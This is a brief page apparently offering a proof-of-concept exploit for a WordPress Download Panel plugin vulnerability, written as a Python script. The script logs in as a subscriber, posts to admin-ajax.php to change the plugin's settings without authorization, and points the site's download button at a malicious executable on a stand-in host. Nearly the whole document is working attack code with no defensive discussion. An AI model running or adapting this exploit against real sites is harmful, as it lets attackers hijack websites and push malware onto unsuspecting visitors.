CVE-2025-12961

import requests import sys # CVE-2025-12961 PoC - WordPress Download Panel Plugin Privilege Escalation # Target: WordPress with Download Panel plugin <= 1.3.3 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Login to WordPress session = requests.Session() login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Exploit: Modify plugin settings via AJAX without proper authorization ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'wp_ajax_save_settings', 'settings[download_url]': 'https://malicious-site.com/malware.exe', 'settings[button_text]': 'Click here to download', 'settings[button_color]': '#ff0000' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print('[+] Settings modified successfully - Privilege escalation successful') print('[+] Malicious settings have been applied to the Download Panel plugin') else: print('[-] Exploitation failed')

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